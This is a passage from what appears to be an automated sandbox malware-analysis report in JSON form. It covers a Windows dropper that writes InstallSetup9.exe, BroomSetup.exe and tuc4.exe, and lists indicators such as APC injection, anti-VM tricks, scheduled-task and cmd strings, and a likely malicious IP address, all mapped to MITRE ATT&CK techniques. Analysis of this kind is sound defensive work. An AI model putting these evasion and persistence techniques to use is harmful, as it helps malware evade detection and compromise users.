Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$4f","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$50","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file has a big raw size section","description":"Raw size of \".text\" is \"0xae7000\" greater than 0x100000\n Raw size of \".text\" is \"0x396200\" greater than 0x100000\n Raw size of \".text\" is \"0x412200\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-125","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file has a big virtual size section","description":"Virtual size of \".text\" is \"0xae6f84\" greater than 0x100000\n Virtual size of \".text\" is \"0x396038\" greater than 0x100000\n Virtual size of \".text\" is \"0x41208f\" greater than 0x100000\n Virtual size of \".rsrc\" is \"0x4ff6c8\" greater than 0x100000\n Virtual size of \".bss\" is \"0x3e63a8\" greater than 0x100000","origin":"Static Parser","relevance":3,"id":"static-124","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"is-KGHLP.tmp\" has high imagebase \"0x6e140000\"\n \"is-9F3KE.tmp\" has high imagebase \"0x6eb80000\"\n \"is-Q1SH7.tmp\" has high imagebase \"0x67f40000\"\n \"is-VNOL6.tmp\" has high imagebase \"0x65c80000\"\n \"is-HITNB.tmp\" has high imagebase \"0x6d980000\"\n \"is-4M261.tmp\" has high imagebase \"0x6dc00000\"\n \"is-VEAGR.tmp\" has high imagebase \"0x64b40000\"\n \"is-4SRP0.tmp\" has high imagebase \"0x6b000000\"\n \"is-AMMN6.tmp\" has high imagebase \"0x6e2c0000\"\n \"is-117UC.tmp\" has high imagebase \"0x64880000\"\n \"is-EUUPD.tmp\" has high imagebase \"0x681c0000\"\n \"is-1KBIS.tmp\" has high imagebase \"0x67200000\"\n \"is-R76LM.tmp\" has high imagebase \"0x68d40000\"\n \"is-89QF9.tmp\" has high imagebase \"0x6a580000\"\n \"is-FTVUF.tmp\" has high imagebase \"0x66980000\"\n \"is-0VG2Q.tmp\" has high imagebase \"0x6d400000\"\n \"_setup64.tmp\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\cmd.exe\" [Source: 00000000-00008552-00000BC0-717121060]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\net.exe\" [Source: 00000000-00001444-00000BC0-712546933]\n Observed system executable string:\"\"%WINDIR%\\system32\\net.exe\" helpmsg 1131\" [Source: 00000000-00001444-00000C45-7847323560]\n Observed system executable string:\"%WINDIR%\\SysWOW64\\schtasks.exe\" [Source: 00000000-00008532-00000BC0-720064682]\n Observed system executable string:\"%WINDIR%\\system32\\schtasks.exe\" [Source: 00000000-00008532-00000C46-6551198346]\n Observed system executable string:\"%WINDIR%\\system32\\cmd.exe /c \"\"%APPDATA%\\Temp\\Task.bat\" \"\" [Source: cmd.exe]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"InstallSetup9.exe\" (UID: 00000000-00008576) was launched with new environment variables: \"USERDNSDOMAIN=\"DESKTOP-FVVF82A\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"InstallSetup9.exe\" (UID: 00000000-00008576) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles, NUMBER_OF_PROCESSORS\"\n Process \"chcp.com\" (UID: 00000000-00003464) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"$51","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"BroomSetup.exe\" searching for class \"msctls_updown32\"\n \"tuc4.tmp\" searching for window \"bf7e01_VFT1131FlashFixClass_bf7e01\"\n \"tuc4.tmp\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Sets a windows hook","description":"\"BroomSetup.exe\" sets a windows hook with filter \"WH_CBT\" for thread ID 7640","origin":"API Call","mitre_attack_id":"T1056.004","relevance":10,"id":"api-71","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$53","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$54","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"The input sample contains the RDTSCP instruction","description":"Found VM detection artifact \"RDTSCP trick\" in \"sample.bin\" (Offset: 60614)","origin":"Binary File","mitre_attack_id":"T1497","relevance":5,"id":"binary-26","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"$55","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\InstallSetup9.exe\"\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\288c47bbc1871b439df19ff4df68f076.exe\"\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\tuc4.exe\"\n \"InstallSetup9.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\BroomSetup.exe\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"$56","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"InstallSetup9.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"288c47bbc1871b439df19ff4df68f076.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"BroomSetup.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$57","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$58","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$59","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" queries basic process information of the \"C:\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" (UID: 8776)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$5a","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"InstallSetup9.exe\" called \"NtQueueApcThread\" (UID: 00000000-00008576)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"$5b","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00001444.00000000.109009.004A0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques\n Matched sigs: Observed a high volume of repeated registry API calls (API Hammering)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: The input sample contains the RDTSCP instruction\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$5c","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"InstallSetup9.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"InstallSetup9.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"InstallSetup9.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"\n \"InstallSetup9.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"BroomSetup.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\Caches\"\n \"BroomSetup.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$5d","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$5e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"$5f","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log\"\n \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe\" writes a file \"%LOCALAPPDATA%\\Microsoft\\CLR_v4.0_32\\UsageLogs\\1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb.exe.log\"\n \"tuc4.tmp\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\AVI formatter tool\\unins000.dat\"\n \"tuc4.tmp\" writes a file \"%LOCALAPPDATA%\\AVI formatter tool\\unins000.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"InstallSetup9.exe\" called \"HttpOpenRequestW\" (UID: 00000000-00008576)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"InstallSetup9.exe\" called \"InternetOpenA with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00008576)\n \"InstallSetup9.exe\" called \"InternetOpenW with parameter NSIS_Inetc (Mozilla)\" (UID: 00000000-00008576)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$60","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectW\" (Indicator: \"InternetConnect\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestW\" (Indicator: \"HttpOpenRequest\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipe\" (Indicator: \"CreateNamedPipe\"; File: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"CreateNamedPipeW\" (Indicator: \"CreateNamedPipe\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"CreateNamedPipe\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetEnumResourceA\" (Indicator: \"NetEnumResource\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"WNetEnumResourceA\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00001444.00000000.109009.0049A000.00000004.mdmp, 00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to provide information and utilities for managing network resources (API string)","description":"Found reference to API \"WNetGetUniversalNameA\" (Indicator: \"WNetGetUniversalName\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-113","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to query information about shared network resources (API string)","description":"Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found reference to API \"EnumPrintersW\" (Indicator: \"EnumPrinters\"; Source: \"00000000-00005060.00000000.109244.004B2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":3,"id":"string-190","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to retrieve internet settings (API string)","description":"Found reference to API \"InternetQueryOptionW\" (Indicator: \"InternetQueryOption\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-314","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains ability to set options for internet handles (API string)","description":"Found reference to API \"InternetSetOptionW\" (Indicator: \"InternetSetOption\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-453","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenW\" (Indicator: \"InternetOpen\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Found named pipe-like string used by malware","description":"Found pipe name string \"\\PIPE\\wkssvc\" (Source: \"00000000-00008552-00000CC8-710222059\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-735","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"1.0.0.0\"\n \"185.172.128.90\"\n \"0.1.1.3\"\n \"51.52.0.0\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$61","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$62","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"},{"report_type":"sandbox","report_id":"65a507358bb31c93b4098402"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"$63","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"is-8EM8Q.tmp\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"tuc4.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"is-8EM8Q.tmp\"\n YARA signature matched on embedded PE in file \"tuc4.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopIcon\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00001444.00000000.109009.04858000.00000004.mdmp, 00000000-00001444.00000000.109009.04870000.00000004.mdmp, 00000000-00001444.00000001.110931.04858000.00000004.mdmp, 00000000-00001444.00000001.110931.04870000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"00000000-00008828.00000001.110829.00401000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"00000000-00008828.00000001.110829.00401000.00000020.mdmp\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00001444.00000000.109009.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: BroomSetup.exe]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"683312b0a694cfd8c002881b"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"1ca559e6b5928c568fbb4f8de0bcb564f687774cbc1e1963ba9af862497f82eb\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: 